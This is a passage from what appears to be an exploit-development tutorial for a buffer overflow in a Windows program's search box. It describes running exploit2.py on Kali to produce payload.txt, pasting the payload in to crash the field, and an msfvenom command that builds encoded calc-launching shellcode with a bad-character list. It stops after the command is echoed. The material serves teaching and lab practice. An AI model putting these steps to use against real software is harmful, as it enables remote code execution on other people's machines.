Running the exploit script to generate payload

The screenshot shows a terminal window with the title bar "root@kali: ~/Desktop". The menu bar includes "File", "Edit", "View", "Search", "Terminal", and "Help". The terminal content shows the following commands and output:

```
root@kali:~# cd Desktop
root@kali:~/Desktop# python exploit2.py
root@kali:~/Desktop#
```

Below the terminal window, a file icon for "payload.txt" is visible on the desktop background.

Add the payload to the search box where we are exploiting the search box and crashing it using exploit2.py:

Change the default trigger from cmd.exe to calc.exe (Use msfvenom in Kali linux):

Example:

```
msf5 > msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed -b '\x00\x14\x09\x0a\x0d' -f python
[*] exec: msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed -b '\x00\x14\x09\x0a\x0d' -f python
